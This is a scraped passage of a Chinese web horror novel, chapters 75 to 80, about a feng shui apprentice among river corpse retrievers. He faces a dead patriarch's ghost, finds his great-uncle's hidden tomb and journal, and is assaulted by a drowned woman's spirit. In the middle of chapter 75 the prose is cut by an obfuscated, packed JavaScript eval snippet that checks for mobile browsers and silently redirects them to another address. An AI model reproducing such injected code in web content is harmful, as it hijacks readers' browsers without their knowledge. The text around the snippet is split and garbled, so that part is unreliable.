红布都当盖头了,那肯定是有东西搞鬼! 就是“河神”,水尸鬼作怪? 徐湘灵讨厌苟驹,是有原因的…… 苟驹不光是破了规矩,捞尸人组建了一个捞尸队,他还拜水尸鬼? 这种东西,想一想,就清楚,肯定是犯捞尸人忌讳的。 捞尸人打捞尸体,水尸鬼还啃水里死尸呢。 电光火石的思绪间,我低哑再道:“不必了,我没兴趣,去给水……” 话还没说完,苟驹一惊。 他立马伸手,做了个嘘声的动作! 苟驹一样,斜睨那红布箱子一眼,先和我微微摇头,又点了香,自己作揖三次,将香插在了香炉上。 再接着,苟驹蹑手蹑脚的走出房间,他示意我也赶紧出去。 我内心诧异不解。 苟驹这怎么回事儿? 我先前是直接要挑明说水尸鬼,他反应这么大,是怕箱子里的“河神老爷”听见? 出了这房间后,苟驹脚步速度很快,他一直后瞟我,是示意我跟上。 很快,我们走到了平房区域外。 苟驹再度摸了摸额头上的汗水,哑声说:“陈先生见多识广,什么都瞒不住您,不过……您误会了,这可不是河伯,河神是河神,河伯是河伯,两者不是一个东西。” “河神不喜欢听到水尸鬼这三个字。” 苟驹言之凿凿。 我再度一愣。 河神不是河伯,不是水尸鬼?甚至,厌恶水尸鬼? 那它偷白姝灵干什么? “陈先生你不拜,我就不逼着你去了,省的你心里不痛快,河神老爷等下也觉得不畅快,晚上睡觉的时候,你注意着点就行,卢老爷子不是来找你闹的,他知道你能看事儿,多半是死的不甘心。” “总归一句话,这些事情咱甭管,已经拿了一次钱了,那件事情已经妥了,后事儿和咱们无关。鬼求人嘛,你别拿了鬼的东西,他就没辙。”苟驹这话说的是斩钉截铁,言之凿凿。 第75章 头七 不知觉间,苟驹已经将我送到了小二楼前边儿,他驻足没有往里走。 我再和苟驹对视了几秒,他又咧嘴和我笑笑,显得人畜无害。 没吭声,推门进了屋内。 听到脚步声逐渐远离,从窗户那里往外看,苟驹是走远了。 差不离,我懂苟驹是个什么人了。 关于捞尸人的规矩他的确不守,是因为他现在干的事儿,是属于捞尸队的。 他并非是什么恶徒,相关于拿人钱财与人消灾的道理,他很明白,更明白事不关己,高高挂起。 卢家是一定得捞尸的,这钱,给别人赚是赚,给他赚,一样是赚? 瞿九娘让我到苟驹身边,不只是这栋楼,不只是我能在这里接触到诸多和水有关的风水,更重要的是,她是要让我见识到人性? 关于这一行的人性? 我走到客厅里,这里有一张格外老式的木质沙发,先摸出来了布人。 布人脖子拴着根细细鱼线,还穿着一枚尖锐的獠牙,取下来鱼线吊坠,将其放在茶几桌面。 白姝灵出现了,垂手站在我身旁,她视线却扫过门窗位置,闪过一抹后怕。 “我睡觉的时候,它进来的吗,是不是水尸鬼?”我视线从那鱼线吊坠挪至白姝灵身上。 应该是这玩意儿拘束了白姝灵,否则平房距离这里那么近,白姝灵肯定能出来。 “是……也不像,很怪。”白姝灵有几分战战兢兢,很明显,她是被吓到了。 我心里突突一跳。 “可它好像没有其它恶意,只是,它想把我拿过去……”白姝灵抿了抿嘴唇。 “白天我不会睡觉了,夜里头如果我睡了,你警醒一点,发现那东西过来,就把我喊醒。”我回答。 “好。”白姝灵重重点头。 “有两个鬼都来敲过我房门。”我再道。 “一个是昨晚水里的女尸,另一个,是她爷爷。”白姝灵喃喃。 我愣了一下。 白姝灵莞尔一笑,轻声说:“昨晚瞧见女鬼趴在肩膀上,我就知道,她是要寻仇索命的,相公你点了她的位置,她不想被带走,肯定会找你警告,她既然被带回去了,那先索命,再来警告你不要插手,那就是顺理成章。” “那老爷子来找你,大抵是想要解决这件事儿。” 白姝灵不亏是老鳏夫的女儿,敏锐极了。 “我在呢,相公你放心。”她又认认真真说。 我嗯了一声,不多言了,从皮馄饨中取出来了葬经百解。 白天和先前,都是有惊无险,现在一切差不多理顺,我全心全意的投入了葬经百解的学习中。 应允了白姝灵白天不睡觉,我到了后半夜的时候,就小憩一会儿,也算是养足精神。 次日清晨醒来,我翻了一会儿书,又听到外边儿闹哄哄的。 走出去看了一眼,是捞尸队的人正去开船,而苟驹的房间里鼾声如雷。 …… 此后一连六天,苟驹除了偶尔来和我打个招呼,平时,我都很难和他打照面。 捞尸队的人一天忙忙碌碌,苟驹很闲。我隐约明白,捞尸队干正常活计,苟驹则是捞不寻常的尸体。 他得遇到解决不了的问题,才会需要先生帮忙,才会找上我。 这几天里,我对葬经百解的理解,比起先前有了天壤之别,整个人的眼神都深沉多了。 我感觉,照这样下去,我可能用不了多久,就可以将葬经百解完全学透,到时候再学了神相千壳,那就能回村找陈梁生算账? 可事情,总不会那么一帆风顺。 第七天时,我一阵心神不宁,觉得有什么事情要发生似的。 尤其是正午那会儿,房间里冷飕飕的,能听到滴答滴答的水声,只不过,去检查了各个水龙头,水管,那声音又消失不见。 又看了一整天的葬经百解,傍晚时,苟驹来敲门了。 我去打开屋门,苟驹笑呵呵的说:“陈先生,晚上一起吃顿便饭,过了今夜,咱就能去做下一桩买卖了。” “成。”我点点头。 我也心想着,苟驹再不找我,我都得找他了。 无它,学了本事,总得用,就像是看了书,就得做题。 “欸?你东西怎么放门边,不拿进去?”苟驹扫了一眼门旁,奇怪的问。 “什么?”我略诧异, 顺着苟驹所指之处,我看向门外墙角,入目所视,是一个看起来很古朴的箱子,皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249167|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面还有锦布。 “我没买东西。”皱了皱眉,我回答。 “那奇了怪了,那是我手底下那几个人送来的?”苟驹刚喃喃自语,他脸色兀的一变。 猛地一脚,苟驹踹在了那木箱上。 沉闷的嘎吱声中,木箱咣当咣当滚下小二楼的两节水泥梯。 随后,木箱开了,曝露在阳光下的,是一只碧绿通透的玉蝉。 黄金有价玉无价,这玉蝉栩栩如生,一眼就价值不菲。 “活见鬼了,都等不及晚上了是吧。”苟驹脸色一阵阵难看。 “什么意思?”我问苟驹。 苟驹反而一怔,稍有不自然,说:“陈先生你没想到?今天是什么日子?” 今天是什么日子? 我怎么知道是什么日子? 苟驹这话,说的让人丈二和尚摸不着头脑。 当然,我不好直接反问,就说:“老苟叔,你别卖关子了,我这几天,心思都用在别的地方。” 苟驹的年纪,称得上让我喊叔。 “呃……”他的表情一时间,反倒是有些古怪,像是受宠若惊。 “陈先生,您别介,喊我老苟就行,叫什么叔啊?”他挠挠头,正色多了,才说:“今儿是卢老爷子的头七,也对,您关心不到他那里去。哈哈。” 苟驹对我的身份,对我的能力,一直都没有质疑过。 正因此,我忽略了相对来说比较关键的事情,他都认为我是贵人多忘事。 随后苟驹才解释:“这几天,我手底下的人都瞧见了,卢老爷子不安宁啊,在您小二楼外边儿,转圈好几次了,可他没胆子再上前去敲门。” “不过,他的怨气,是一天比一天重,我寻摸着,头七了,他还得来烦您,这不,咱们今晚上一起对付一顿,他要是敢过来,我大唾沫吐他脑门心。” “至于这东西,要么是他昨晚上偷偷放这里的,要么是刚才,趁着午时大阴,给您放着,想您无意之间要是收了他的礼,那就得办事了。” 苟驹这一番解释,无形中又让我多了几分“常识”。 头七回魂是一个几乎脍炙人口的典故,这午时大阴却并非如此。 话里话外的意思是,正午能见鬼? 第76章 别来惹我 这让我立即想起来一个细节。 曾有一天中午,我去祭拜我妈,她就在墓碑后边儿杵着。 当时我还以为是产幻了,不然怎么白日见鬼? 原来,正午就是能见鬼? 怪不得……瞿九娘让我正午之前,必须得离开黄渠村,过了正午,就得晚上之前走,正午那个时段,绝对不能在黄土坡之外,任何相关于村子的地方! 这一切,都是事出有因! “快天黑了,走吧。”我哑声开口。 “欸,行。”苟驹率先往平房那边走,一脚就踹在那玉蝉上。 呼哧一声,价值不菲的玉蝉,就不知道被踹向何方。 他再一脚,那锦盒一样被踹飞了。 我关上房门,同苟驹走到平房范围处,进了先前吃饭的房间。 桌上摆着不少食材,中间还有一口大锅,火锅底料里各种香料味道,以及牛油味扑面而来。 桌旁还坐着好几人,都恭敬的喊了我一声陈先生,苟驹还让我坐在首位上,谦让不了,我只能是坐下。 开火,烫菜,蒸汽腾腾中,屋子的温度眼见高了起来。 我对付几口,那鲜香麻辣的味道,直让人食指大动。 吃着吃着,忽然有人咦了一声,筷子抬了起来。 “咦……这是啥?蝉子?” 灯光照射在他筷子头上,牛油的鲜红晶莹剔透。 “蝉啊,多好的玉蝉,黄金有价玉无价,陈先生,你咋就不要呢?拿去,拿去。”那人的筷子,忽然就朝着我碗里一送。 灯光和蒸汽下,他的脸色变得十分木然,更有种说不出的苍老。 尤其是他的一双眼睛,居然黑溜溜的,都瞧不见一缕白。 苟驹眼疾手快,哐当一声,筷子直接夹在了那人手指上。 “卢老爷子,活着的时候,你好歹是有头有脸的人,**了尽恶心人,吃饭呢,**东西就往锅里扔,晦气不?” 苟驹语气冷得吓人,他重重嗬了一声,一口浓痰,直接朝着那人脸上吐去! 啪的一下,痰结结实实打在那人头上。 哐当一声,玉蝉又落进了锅里。 “呕……”那人一声干呕,瞪大了眼珠子,一把薅起大团卫生纸,哆嗦的擦额头。 他还不停的干呕,快哭了说:“老苟,你搞什么飞机,吃饭就吃饭,你痰都吐我脸上了!” 其余七人面色惊疑不定,他们几乎同时起身,后退两步。 苟驹冷眼盯着那人,余光又飞速扫过周围。 我快速取出来一物,正是老陈家的罗盘。 罗盘指针嘶嘶转动不已,是恶阴在屋内徘徊不断! 轰然一声闷响,房门重重被风吹开。 风声呜咽大作,门前站着一人,他身上满是水草,甚至还挂着两条死鱼,缠着不少鱼线。 哧啦哧啦的声响中,灯光都变得一阵阵幽绿,。 那人,赫然是卢老爷子。 “玉不要,金子要不要?” “钱,钱呢?” “给你钱,卢家有钱,卢家有钱,卢家有的是钱!” 卢老爷子腿绷的笔直,直愣愣往屋里走! 重重的哗啦声中,是苟驹猛地一掀桌子,桌面重重砸向卢老爷子! 又是咔嚓一声碎响,那么大一张木桌,直接碎裂成数块,卢老爷子直朝着我冲来! 屋内其余八人,被吓得七窍生烟,惊慌失措的四窜,甚至有人趁乱,往屋外跑! 我陡然从腰间拔出那寻龙分金尺,狠狠朝着卢老爷子当头劈去! 只听一声凄厉惨叫。 一道白烟冒起,随着烟气散去,卢老爷子消失不见! 只留下场间一片狼藉! 我心咚咚直跳,手,却一阵刺痛,抬起来一看,抓住寻龙分金尺的那个部位,像是被烫烂了似的,直接起了好几个水泡。 哆嗦的一换手,尺子又冰冰凉凉,并没有什么温度…… 不过,先前那一霎,这尺子烫得像是烙铁。 “日他仙人板板。”苟驹直骂脏话。 屋里还剩下三个人,面面相觑。 本能促使,我蹬蹬蹬的走出这屋门,天上是朦朦的鬼月亮。 还有四人在屋外战战兢兢。 往远处看,有个捞尸队的人,正木然的朝着回水湾的方向走去。 他背上还背着一个“人”,不,他背着的是卢老爷子! 我拔腿,正要朝着那方向冲! 明眼人一下就看得出来,卢老爷子在我手上吃了瘪,这是要**! 忽然一只手死死抓住 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“卢家真是狠呐,老爷子被弄**,居然把他当鬼养了,看来,是非赖上陈先生你了。” “不给卢老爷子喂血,他就算是头七,都不可能破这道符的,八千呢……”苟驹一脸肉痛。 我心里突突乱跳,很多东西还是听不明白。 苟驹又看我,却一脸钦佩。 “黑煞都被陈先生你一棍子打回去,这水平,是青出于蓝了。” 我大抵听明白了。 黑煞,就是卢老爷子现在成鬼的凶厉程度? 像是长白毛,长红毛,都是这个意思,黑**也是其中一种? 他觉得,是我厉害…… 实际上,是老陈家的镇物法器厉害而已…… 还有,卢老爷子正常不会那么凶,是卢家动了小动作,是卢家,让卢老爷子来找我,想要我介入这件事儿? 说实话,好端端上门来请,总算有句话说,伸手不打笑脸人,直接给人下套,让鬼送东西,甚至用鬼来威逼利诱,这算怎么一回事儿? 让人帮忙,还带强迫的吗? “给卢家带句话,别来惹我。”我语气沉冷,和苟驹说。 苟驹眼前当即一亮,说:“明白!明白!” 第77章 糊涂!糊涂!糊涂! “不过,卢老爷子头七都没把咱们拖下水,卢家应该是不敢有什么小心思了。”苟驹补充一句。 我没吭声说话,转身朝着小二楼的方向走去。 苟驹没跟上我,余光能瞧见他正在和手底下的人说着什么。 这一餐饭,算是吃了个乌烟瘴气。 不过,今天不打跑卢老爷子,他迟早还得作乱,不能完全说坏事。 推门而入,回到客厅里时。 我脑子却忽然嗡的一下。 因为,客厅中央站着个人。 他身着布衣,背对着我,身材高大,腰背挺直,短寸的头发还是白的。 卢老爷子?! 他先前还弄捞尸队的人下水,被“河神老爷”给拖进江底了啊!? 一眨眼,居然进我屋子了? 我快速一把抽出寻龙分金尺。 “卢老爷子”却径直朝着我房间方向走去。 他脚下的速度平缓,我疾步追上,一尺子当着后心要抽下去! “相公……别……”略带心紧和惊慌的话音入耳,身后还一阵凉飕飕的,分明是白姝灵出现在我背后。 手,顿时软了一瞬。 “卢老爷子”进了我房间里。 “他不是卢老爷子。”白姝灵一句话,却让我心头微凛。 我飞快取出了另一样物品,老陈家的罗盘。 罗盘上果然出现了针法,不过,并不是代表着恶阴之气的转针,而是兑针! 针头几乎要斜飞而出! 这就得提起我第一天来这里时,就用了罗经八针看这里的风水。 当时我正看到卧室处,苟驹就叫我去吃饭了。 此后,他和我说了这小二楼的由来,以及当年住在这里的陈家先生离奇失踪的结果。 之后就是跟着他去捞尸的事情,回来之后,我其实也继续看过兑针。 只不过,那时兑针又消失了。 正因此,这件事情我没有再想过,认为可能是自己风水术不够,又有可能,当年那失踪的陈家人的确死在这里,魂魄在附近,瞧见我之后又走了。 此刻兑针重新出现。 那背影,分明就是陈家当年分家那人! 思绪在电闪之间,我一步迈入房间,同时更收起了寻龙分金尺。 屋内看似空空荡荡,可衣柜,居然开了。 我挂在里边儿的衣服,被分成了两道,曝露出后方一块木板。 心跳的速度,咚咚加快。 我上前,伸手叩了叩那木板。 先前我没尝试过,此刻,空洞的声响,代表木板下方完全空洞。 “他引你下去……”白姝灵稍有迟疑:“这房子果然不简单……只不过,为什么先前他要消失,让你发现不了蹊跷,这会儿,又要引你下这里?” 白姝灵的问题,同样是我的问题。 只是,别人怎么想,我心里又如何能有答案? 待在苟驹这里,对比村子来说,已经太清净了。 毕竟我是老陈家的后生,学着老陈家的风水术,此时此刻,我对这木板后边儿的空洞,实际上是带着浓郁好奇的。 不管罗盘,还是这寻龙分金尺,都带给我很大帮助,辟邪化煞的效果不要太强。 当年分家那人,如果也有留下三两件这种镇物法器呢? “没事。”我哑声回答,同时我摸着那木板,找到边沿缝隙,触碰之下,这板子往里一凹,便露出一个洞口。 瓦斯灯微黄的光线,照着洞口,并没有让里边儿能视物,反倒是四面不透光,更黑了。 我摸出来手机往里照射,才看见内里情况。 方方正正,半米左右的洞,很深,别的没什么东西。 “我下去看看。”白姝灵见我意已决,她正要钻进洞内。 可她的手刚触碰到洞口,便发出嗤的一声,纤纤玉指顿变得一阵溃烂。 鬼不会真的皮肤烂掉,当白姝灵收手回来时,手指就恢复原貌。 “我进不去……” “奇怪……难道他也没进去……这里有符!” 白姝灵美眸一阵惊疑微慌。 “那就没问题了。”我松口气。 既然下边儿鬼去不了,那就肯定安全。 本意是让白姝灵回布人里,她却不肯,执意要留在房间等我,她还说,万一屋里出什么事儿呢? 她执拗,我便没有多言,钻进了那洞内。 洞看似直着,实际上倾斜往下,很快就有一个弯折处,径直往 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那并非是我爷爷,虽说他一样老迈,并且和爷爷有着七八分相似,但他更高一些,年纪看上去要更苍老。 爷爷年逾古稀,这人,起码得九十开外了。 他闭着双眼,安安静静的站着,脸颊微微凹陷,爬满了一种怪异的斑点。 尸斑? 这尸体……为什么看上去,那么新鲜,像是没死多久似的…… 地室,不,确切来说,应该是墓室,多了一股风。 风吹之下,那老人怀中掉下来了一本书册,砸在地上,发出哐当声响。 书册哗啦翻开,纸张不停的动着。 我迟疑间,伸手将其捡了起来。 这并非什么书,只是一个册子,上边儿的字眼,都是自己写成。 鬼使神差的,我翻开了第一页。 当头写了一大串字,都是重复一个词。 “糊涂!” “糊涂!” “糊涂!” 十几遍的糊涂后,才有一行字:“不该第十迁!” 第78章 你怎么还不出生? 再之后,就是以自言自语的视角,写下来的一番话。 “祖坟九迁,遭遇蟾山凶尸,已是命数所不容,天不让陈家更大,当收敛,亡人便亡人,挫折便挫折,留下一丝火种尚可。” “父亲和爷爷却不听,非认定,是那凶尸伤家族气运,非要将其铲除,还要祖坟十迁。” “九为数之极,过九则天不容,陈家就算是金尺玄算,又怎么和天抗衡?” “我本就不满他们将九娘许给楷山做童养媳,我暗自喜欢她已久,父亲非说,九娘是老陈家的关键,楷山是老陈家的关键,可楷山,没有资质,只能当个普通人,大抵是陈家气数将尽,他们都疯了吧。” 简明扼要的一句话。 道明了眼前之人的身份。 关键,还是因为童养媳这三个字的联系。 爷爷的确告诉过我,瞿九娘,是他的童养媳! 那爷爷,就是这笔下记载的楷山? 陈楷山? 眼前这人,居然是爷爷的兄长? 祖坟九迁,第九次迁移遇到了蟾山上的凶尸。 陈家应该就放弃了,选择其他地方迁坟。 可之后,凶尸不依不饶的对陈家下手,陈家才铲平凶尸坟头,葬下自身祖坟,又将凶尸锁入白蟾庙锁龙井。 一系列事情,在脑海中形成了一个圈儿。 只不过,这厚厚的一摞本子,写下的内容远远不止是眼前这几句话。 这,应该是此人刚离开陈家时,写下来的愤愤之言。 我往后翻页,仔仔细细的看了起来。 之后好几页记载的,都是一些抱怨家族不公平的话。 我粗略一眼后,就继续往下翻。 有一页内容,沾着几滴干涸的血,字迹十分潦草。 “锁龙井成了,我知道会出事,只是没想到,事情来的那么快,陈家的人,接连暴毙,我不知道,什么时候会轮到己身。” “后悔已经太迟,爷爷和父亲无力回天,甚至他们也命丧黄泉。” “陈家,不是下坡,是绝路了……” …… …… “呵呵,陈家终于全部死绝,我居然成了幸存之人……看来,是这地下阴宅,遮蔽了气息罢,或是我和陈家割袍断亲,这天也知道,我不是陈家人?九娘收到了我的书信,却不肯与我相会,再过一段时间,风平浪静了,我就去找她。” 我继续往后翻页,这里边儿重复最多的两个字,就是九娘。 爷爷这兄长,频繁的找瞿九娘,甚至发现了爷爷还活着。 他所写下的内容,逐渐带着更多的怨言。 意思是,九娘鬼迷心窍,险些被陈家连累害死,还甘愿做我爷爷的童养媳,即便我爷爷不要她,她还是待在黄渠村不肯走。 这些怨言归类成了一句话。 我本将心照明月,奈何明月照沟渠。 再随后,内容忽然话锋一转,写着:“原来……是这样,九为数之极,父亲和爷爷知道,陈家一定会亡……” “十,是置之死地而后生,盛极必衰,阳极必阴,阴极必阳,陈家会生个陈棺生。” “好个陈棺生!我倒要看看,父亲和爷爷,算的究竟准不准。” “蟾山的女善人,居然都要配给陈棺生当阴妻。” 看到这句话的时候,我脑瓜子嗡的一下,一时间错愕不已。 阴妻?鬼婆娘? 那白姝灵才是我的阴妻。 不过,很快我脸色就变了。 事实并非如此。 蟾山的女善人,关键点,是在蟾山两个字上。 我在找到蟾山上和祖坟相对墓穴的时候,瞧见了我爷爷的父亲,爷爷,也就是我太爷爷,祖老太爷的棺材。 除了拿到法器,更捡到一个婚书! 婚书上,有我的生辰八字! 女方的我没看仔细,犹记得,婚书上的姓名,叫做阐蝉。 我额头逐渐冒出豆大的汗珠。 关键点,不光是蟾山……还有“女善人”这三个字! 若是先前,我看不懂,什么叫女善人。 这七天,我对葬经百解已经多了很深的认知。 葬者,乘生气也。 若是在关键穴眼,生气之地,含着一口二五精气活葬,就会出现奇异的一幕。 生羽。 羽白洁似鹅绒,名为羽化善尸。 女善人,是女尸!正好吻合阴妻两个字! 爷爷对这些知道的是不够清楚的,看来……瞿九娘知道的更多,她告诉了眼前爷爷这兄长? 册子上的记载,还在继续。 我往下翻阅。 “九娘说,这辈子,她是为了陈家了,是还命,还恩,我们没有了情缘,嫁鸡随鸡,嫁狗随狗,她是楷山的童养媳,就是一辈子的媳妇。” “这何等讽刺?” “父亲和爷爷算了个置之死地而后生,我非要看看,是个什么后生。” …… “我突然想到一个折中之法,如果说,老陈家的后生,让九娘完成,那九娘,可否还恩,她可否不顾及那可笑的童养媳婚约?” …… “果然如此,她答应我了,她说,终有一日,会让陈棺生来找我。” …… “我仔仔细细的钻研了蟾山,锁龙井,以及陈家遭遇的苦厄。” “我,已然有了破局之法!” “只是陈棺生,你怎么还不出生,你还不来!?” …… “老陈家的运数,太弱了,还遭人垂涎,楷山,你生了个榆木脑袋的儿子,那家人的娃娃也敢捡?以为捡回去个传宗接代的人,实际上,是捡回去个豺狼虎豹。” 我死死盯着这一段话,喃喃道:“你原来知道……” 猛然抬头,我更死死的盯着靠墙站着的尸体。 他知道我爸收养了陈梁生,这句话是陈梁生进我家时,他写的! 不,不对! 那家人? 鸡皮疙瘩一下子爬遍了全身。 陈梁生不光是自身有问题,他的来路,更有问题? 垂涎这两个字,就点明了一切。 尸体苍老的脸,没有任何神态,显得十分木然,冷漠,又无情。 “为什么,你不说?”我语气分外沙哑,内心分外颤抖,还有一丝丝痛。 如果他说了,那今天,我们家就不会是这样子。 我妈不会被杀,我不是棺生子,奶奶不会死,我爸更不会被陈梁生抽走一道魂,不会成傻子…… 明明都是陈家人,为何他这么无情?真像是一个冷漠的旁观者? 第79章 死人照镜 我盯着尸体的脸,看了许久许久。 死人开不了口,这地方有问题,白姝灵进不来,他的魂魄,一样进不来? 因此,即便是他有鬼魂在,一样听不到我的问题,回答不了我的话。 我低头,继续往后翻页。 接下来的内容,一部分是关于陈家的遭遇。 他的确是个旁观者,有时候还会点评几句,觉得我爷爷,我爸,哪些地方可笑。 当然,内容中少不了抱怨,为什么我还没有来找他。 其中还有一些事情,和陈家一切无关,他也会各处行走,办一些事儿,又顺手记录下来。 我得知了他的名字,叫陈瞰山。 终于,翻到了这册子最后一页,笔锋早就没有先前苍劲有力,取而代之的是摇晃,是写字的手已然孱弱。 “我的大限之日快到了,看来,真的是阳极必阴,陈家真要只剩最后一个男丁,或是最后一个精通风水的人,才有可能重新站起来,相关于锁龙井的破解之法,那凶尸的克制之法,我留在了回水湾里。” “陈棺生,我知道你会来,我知道你会看见这一封信。” “你记住了,让河神夺女,请九尸拉棺,你的风水术就到了能解决锁龙井问题的时候,你就能拿到我留下的法子。” “垂涎陈家的宵小之辈,更翻不起什么风浪。” “我陈瞰山在老陈家所有人的眼中,是一个临阵脱逃之人,可事实上,我逆转了一切!” ——陈瞰山绝笔 最后一页的内容,没有解决锁龙井的破局之法。 只是留下来了一个信息…… 陈瞰山,死了没有太长时间。 他知道很多事情,他旁观了很多事情,他其实可以来找我,可他没有来。 他在遵守和瞿九娘的约定…… 实际上,这只是约定那么简单吗? 还是说,冥冥中,命数自有天定? 我这几天看的风水术里,所说最多的,就是风水和命数挂钩。 让河神夺女…… 就是让苟驹供养的河神老爷,带走白姝灵。 请九尸拉棺。 顾名思义,是九具尸体拉拽一口棺材…… 前者,我怎么可能将白姝灵拱手送给河神? 后者更是隐晦,我还摸不着头脑。 四扫一眼墓室内,还有一张桌子,桌上有笔墨砚台,砚台中墨迹未干。 笔是墨黑色的,毫尖一样是墨黑色,看上去很深邃。 砚台似玉非玉,像是一条蛇盘在一块石盘上,可仔细一看,蛇头生角,分明是蛟。 这两样东西,不是普通的笔砚。 稍一迟疑,我凑近了陈瞰山尸身,在他身上摸索起来。 死尸的身体格外僵硬,那股淡淡的尸臭味更在鼻翼间萦绕着。 我很快摸出来一些东西,一个小袋子,大概巴掌大小,里边儿装满了铜钱,一串龟甲,大概有八片,以及一枚罗盘。 这块罗盘看上去要普通一些,没有老陈家那块罗盘厚重。 龟甲被用的次数多了,抛光了似的,釉色很明显。 至于铜钱,要比正常铜钱奇怪一些,有许多花纹,还有一些粗糙的动物图案。 我见过陈梁生用铜钱来对付撞邪的人。当时胡喋假装的“老鳏夫”用了纸刀截运,使得陈梁生帮助的主家周磊忽然反手对陈梁生下杀手,陈梁生以铜钱破邪,打断周磊行为。 除此之外,铜钱还能当镇物。 别的东西,我却一时间不知道作用了。 只是拿走铜钱,我将另外两样东西放在桌上,本来要直接离开这墓室。 再看陈瞰山一眼,我停顿下来,冲着他作揖。 “虽然你不当自己是陈家人,但你归根究底,是爷爷的哥哥,我该喊你一声大爷爷。” “等我回了黄渠村,会告诉爷爷和瞿九娘你在这里的。” 语罢,我抬起头,从这墓室中离开了。 回到上方房间时,白姝灵居然不在屋内。 “姝灵?”我喊了一声。 没有回应,只有安静。 轻微的滴答声入耳,像是水龙头没拧紧。 我走出房间,进了客厅,一样没瞧见白姝灵的鬼影子。 不过,洗手间的门却虚掩着。 隐约能瞧见一个人影在里边儿站着。 门缝开的太小,瞧不见确切,大抵只能看见,她一只手好像在洗手池上,水正在流淌。 白姝灵又被另一部分主导了。 我心里倒也不恼,径直上前。 本身白姝灵的情绪稳定,她很快就能摆脱影响。 一把拉开洗手间门,入目所视,是个长发披肩的女人,她哪儿是什么白姝灵! 头发太长,直接遮住了整张脸,连脖子都看不见。 她手抓着水龙头,本来滴答滴答的滴水,成了咕嘟咕嘟往外冒水。 洗手池上有一面仪容镜,却映着一张分外苍白,又有些病态俏丽的脸。 我头皮一阵发麻。 顿想到当时耷在卢老爷子肩膀上的鬼脸,又想到苟驹等人将卢小姐打捞上来的一幕! 只是我没想到,卢老爷子的事情我没介入,卢家我没插手。 按道理,她不应该缠上我啊! 怎么她又来了!? 这顷刻间,镜子前边儿空空荡荡,卢小姐消失不见…… 心咚咚直跳。 卢小姐要凶得多,比卢老爷子强。 走了? 念头刚冒起来,冷不丁的,耳后感觉到一丝微凉,像是有人在耳根子吹气,又带着一丝丝水汽。 “陈……先……生……”女声本来是清脆的,可拖长之后,就只剩下阴森了。 我猛地要拔出寻龙分金尺。 可双手竟然不能寸动!手腕的位置死疼死疼,像是被什么东西拴住! 我陡然低头,汗毛都倒立,那里居然缠着脏兮兮的水草根。 身后一阵大力涌来,我整个人直接被压倒在地上! 膝盖和手肘杵地,痛感十分清晰,我猛地一窜身体,往前扑了两米,到了洗手间最里侧,骤然一个翻身。 却瞧见洗手间门前直挺挺立着一个人,身上滴滴答答的滴水,那黑漆漆的头发挡住头脸,只露出来一丝惨白。 下一瞬,那女人出现在我身前近处,只有咫尺距离,她躬身弯腰,头朝着我靠。 再一霎,她直接死死压在我身上,头发疯狂的往我脸上缠,脖子上缠,鼻孔里钻! 更冰凉的触感,像是皮肉之间的接触。 我双眼瞪得滚圆,手拼命挣扎,却还是挣扎不开,明明寻龙分金尺就在腰间,罗盘也能镇尸鬼,我身上还有铜钱,就是没办法去拿! 那一根根的头发,像是细小的手,钻进我鼻子里,要往喉咙里伸,要钻进我耳朵里,似要钻开我脑子。 她的脸更贴近,嘴巴要贴在我嘴巴上! 我身体陡然一下僵住,更无法寸动,能瞧见丝丝缕缕的一股白气从鼻孔,嘴巴里冒出! 第80章 有钱能使鬼推磨 嘻嘻的笑声更清脆,可丝毫不悦耳,只有一阵阵冰寒。 那白气冒出鼻孔后,我就觉得浑身发软,像是失去了所有力气。 砰! 洗手间的门被重重关闭。 那一大把黑漆漆的头发瞬间散开,露出卢小姐惨白而又怨毒的脸,她嘴唇直接附着下来! 猛然间,一双手狠狠抓住她的脸,似是要将她撕烂! 那双手,根本不像是人手,手指短粗,却带着尖锐的指甲。 惨叫声从卢小姐口中炸响。 她猛地往后一翻,从我身上离开。 我哧溜一声,用力吸了口气,就感觉一股暖流被鼻子吸了回去。 一下子,身体的疲软消失不见,恢复正常。 卢小姐惨叫连连,她整张脸直接被抓烂,双手拼命去抓脸上的手,身体不停在门墙上撞击。 我头皮更阵阵发麻,一个浑身白的像是被泡肿了的侏儒,挂在卢小姐后背,那些头发不停在它身上缠绕,要钻进鼻翼,耳朵,甚至是眼睛。 可又像是蛇一样,只动,不敢真的往里钻。 下一刻,卢小姐猛地窜起身体,她手脚特别僵直,斜朝着客厅门冲去! 一阵劲风,门轰然被吹开,她冲出去后,朝着更远处狂奔,那东西还是挂在她身上,怎么都甩不掉。 心都快从嗓子眼里迸出来了。 河神老爷!? 此前的距离远,现在我看的清楚,这河神老爷不就是河伯,水尸鬼吗? 只是水尸鬼一身漆黑,就像是水中的猴子。 这河神老爷浑身上下没有毛发,像是掉干净了,又像是得了白化病一样。 不知觉间,手腕居然松开了…… 随着卢小姐离开,那些水草也没了…… 撑着坐起身,我手脚却还是有种抑制不住的发软…… 颤巍巍的走出洗手间,才瞧见客厅的沙发上,端坐着一人,正是白姝灵。 此刻的白姝灵,神态模样分外清冷,更带着一丝厌恶和鄙夷。 “你果然不行,不像是个男人。” “学了风水术,还对付不了一个死倒,差点儿被人吸干了阳气。”冷冰冰的话没有丝毫温度。 “给你三天时间,回到黄渠村,将我尸体从水里带出来。”白姝灵下令。 我眉头紧皱,神色多了一丝沉冷。 “怎么,对付不了死倒,你要对我说什么?做什么?废物。”白姝灵冷声再道。” 白姝灵一直在小二楼里。 更不出我预料,的确被另外一部分意识主导了思维。 只是我没想到,卢小姐偷袭我,她居然真的完全置之不理…… 甚至我觉得,卢小姐进来,她是知道的,她也没有提醒我…… 平日里,她忽然冒出来,忽然说两句冷话,这都还好,就算是上一次我将罗盘落在死水潭子,这都没问题,本质上是我心急。 可这种节骨眼上,容易出大事! “姝灵,醒醒。”我沙哑喊了一声。 白姝灵的眼神,更为厌恶起来。 只不过,她脸上闪过一丝挣扎。 “滚开啊!”她一声尖叫,甚至是都有了重音! 这尖叫声没变化,她的主导没恢复! 